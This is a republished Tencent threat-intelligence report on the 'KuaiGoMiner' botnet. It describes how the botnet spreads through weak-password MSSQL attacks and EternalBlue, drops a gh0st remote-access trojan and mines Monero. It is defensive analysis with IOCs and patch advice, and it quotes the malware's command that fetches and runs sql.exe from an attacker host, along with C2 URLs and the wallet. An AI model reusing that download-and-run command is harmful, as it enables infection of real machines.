“快Go矿工”新增 MS SQL爆破攻击，上万台电脑中招
感谢腾讯御见威胁情报中心来稿！
原文：https://s.tencent.com/research/report/888.html
一、背景
腾讯安全威胁情报中心检测到“快Go矿工”更新，该团伙本次更新利用MSSQL弱口令爆破攻击的方式进行传播。“快Go矿工”由御见威胁情报中心于2019年10月发现，最初仅利用“永恒之蓝”漏洞进行攻击传播，因其使用的C2域名中包含“kuai-go”，腾讯安全威胁情报中心将其命名为“快Go矿工”（KuaiGoMiner）。
“快Go矿工”最新变种将挖矿程序伪装成系统进程WinInit.exe，截止目前已挖矿获得门罗币47个，市值人民币2万余元。同时，病毒在攻陷机器上植入的gh0st远控木马，具有搜集信息、上传下载文件、键盘记录、执行任意程序等多种功能，被攻陷的电脑还会面临机密信息泄露的风险。
据腾讯威胁情报中心统计数据，“快Go矿工”（KuaiGoMiner）变种已攻击上万台电脑，受害最严重地区为江苏、山东和广东。
腾讯安全提醒企业用户检查SQL服务器的SA用户口令，切勿配置弱口令登录，快Go矿工入侵后还会使用永恒之蓝系列攻击工具横向传播，植入远控木马，对政企机构信息系统安全构成严重威胁。
二、漏洞攻击
“快Go矿工” (KuaiGoMiner) 变种在攻陷的系统下载攻击模块，释放NSA武器中的“双脉冲星”、“永恒浪漫”、“永恒之蓝”漏洞攻击工具，释放到C:\Windows\Fonts\usa\目录下。
释放成功后go.vbs首先启动，然后执行go.bat，在go.bat中利用服务管理工具NS *** （释放文件名为svchost.exe）将攻击脚本cmd.bat安装为服务HTTPServers反复执行。
cmd.bat请求http[:]//scan.jiancai008.com:88/2020/local.asp和
http[:]//sex.zhzy999.net/ip2.php获取本机的IP地址，
请求http[:]//scan.jiancai008.com:88/2020/random.asp获取随机生成的C段和D段为“0.0“的IP地址，然后利用 “永恒之蓝”漏洞攻击工具针对本机同网段IP和随机生成的IP进行扫描攻击。
三、MSSQL爆破
近期KuaiGoMiner还利用MSSQL弱口令爆破进行攻击，爆破成功后首先通过shell代码写入vget.vbs作为下载者程序，然后利用vget.vbs下载PE木马sql.exe，下载命令如下：
C:/Program Files (x86)/Microsoft SQL Server/MSSQL.1/MSSQL/Binn/sqlservr.exe C:/Windows/System32/CScript.exe C:/ProgramData/vget.vbs http[:]//sex.zhzy999.net/sql.exe C:/ProgramData/taskger.exe
sql.exe为gh0st远控木马，该木马控制电脑后，继续下载挖矿木马http[:]//go.jiancai008.com:88/2020/1.rar，然后解压释放文件到目录C:\Windows\Fonts\usa\。
将门罗币挖矿程序WinInit.exe安装为服务”WinIniter”，使用矿池：xmr-eu1.nanopool.org:14433，钱包：4Ao7AGamzR4cs4E4uK5tcFF9TR6ouXMY4LAi64jHGYQZRWYCupQ7coBGzE7BtcHBWvQFreNEMg1s9iws7ejgwZtB1gQ55Uq进行挖矿。
目前该钱包已挖矿获取门罗币47.169个，折合人民币28000余元。
四、安全建议
1.服务器使用安全的密码策略，特别是IPC$、MSSQL、RDP服务的账号密码，切勿使用弱口令；
2.根据微软公告及时修复以下Windows系统高危漏洞；
MS17-010永恒之蓝漏洞
XP、WindowsServer2003、win8等系统访问：
http://www.catalog.update.microsoft.com/Search.aspx?q=KB4012598
Win7、win8.1、Windows Server 2008、Windows10,WindowsServer2016等系统访问：https://technet.microsoft.com/zh-cn/library/security/ms17-010.aspx
建议企业用户使用腾讯T-Sec终端安全管理系统（腾讯御点，下载链接：https://s.tencent.com/product/yd/index.html），个人用户使用腾讯电脑管家进行漏洞扫描和修复。
3.企业用户可部署腾讯T-Sec高级威胁检测系统(御界)，发现、追踪黑客攻击线索。腾讯T-Sec高级威胁检测系统是基于腾讯安全反病毒实验室的安全能力、依托腾讯在云和端的海量数据，研发出的独特威胁情报和恶意检测模型系统。（https://s.tencent.com/product/gjwxjc/index.html）
IOCs
IP
64.111.27.3
Domain
sex.zhzy999.net
scan.jiancai008.com
s.jiancai008.com
go.jiancai008.com
URL
http[:]//sex.zhzy999.net/sql.exe
http[:]//go.jiancai008.com:88/2020/1.rar
http[:]//go.jiancai008.com:88/2020/2.rar
http[:]//go.jiancai008.com:88/2020/3.rar
MD5
1a5ba25af9d21f36cf8b3df7d2f55348
b87af17c857b208fcd801cb724046781
09bf2fef86d96ec9a1c3be0a020ae498
57bd72d6dc95ff57b5321a62b9f7cde2
70d3908f1b9909b7d23ee265e77dd1f9
1f1bc2ec00db3551d7700c05c87956df
05c57ccd23ab3f623bf1adda755af226
““快Go矿工”新增 MS SQL爆破攻击，上万台电脑中招” 的相关文章
TerraMaster 操作系统漏洞可能使 NAS 设备遭到远程黑客攻击
Hackernews 编译，转载请注明出处： 研究人员披露了 TerraMaster NAS设备的关键安全漏洞的细节，这些设备可以链接到未经身份验证的远程代码执行，且具有最高权限。 埃塞俄比亚网络安全研究公司 Octagon Networks 的 Paulos yibello 在分...
乌克兰宣称挫败了 Sandworm 黑客组织想要攻击该国能源供应商的企图
乌克兰计算机应急响应小组（CERT-UA）在周二的一份安全公告中称，他们刚刚破坏了 Sandworm 想要攻陷一家该国能源供应商的企图。据说 Sandworm 是一个与俄罗斯军事情报部门有关联的黑客组织，期间试图利用臭名昭著的新版 Industroyer 恶意软件，来切断未具名的某能源供应商的变电站...
日本电装德国分部大量机密数据被窃取 黑客威胁将公开
丰田汽车旗下零部件制造商日本电装于13日宣布，其德国当地法人受到了网络攻击。该公司确认其网络感染了勒索软件。被认定发动了此次攻击的黑客集团已经发布了勒索声明。公司称虽然目前并没有立刻对公司经营造成影响，但是“关于受害的详细情况正在调查中”。公司已向德国当地政府提交了受害报告。 据信息安全公司三井物...
Lapsus$ 事件调查中 伦敦警方已逮捕 7 名 16-21 岁青年
援引 BBC News 报道，伦敦警方已经逮捕了 7 名青年，怀疑他们和近期非常猖獗的黑客组织 Lapsus$ 有关。在一份提交给 The Verge 的声明中，伦敦市警方的探长迈克尔·奥沙利文表示：“伦敦市警方一直在与合作伙伴一起对一个黑客组织的成员进行调查。在调查中有 7 名年龄在 16-21...
法国隐私监管机构向 Clearview AI 下达删除数据的命令
有争议的面部识别公司Clearview AI通过从互联网上搜罗自拍照片，积累了一个约100亿张图片的数据库，以便向执法部门出售身份匹配服务，今天，该公司再次被勒令删除人们的数据。法国的隐私监督机构CNIL今天说，这是因为Clearview违反了欧洲的《通用数据保护条例》（GDPR）。 在一份关于违...
2021 年物联网设备 CVE 天梯榜
2021年CVE回顾： 时间飞逝，转眼间来到了2022年。新的一年即将开始，让我们来回顾一下2021年的物联网设备CVE情况。 2021年CVSSV3平均值为5.5，2020年CVSSV3平均值为6.1，同比去年下降0.6。 通过平均值的对比，我们可以清楚的看到各大厂商在2021年对物联网安全的重视...
评论列表
发表评论
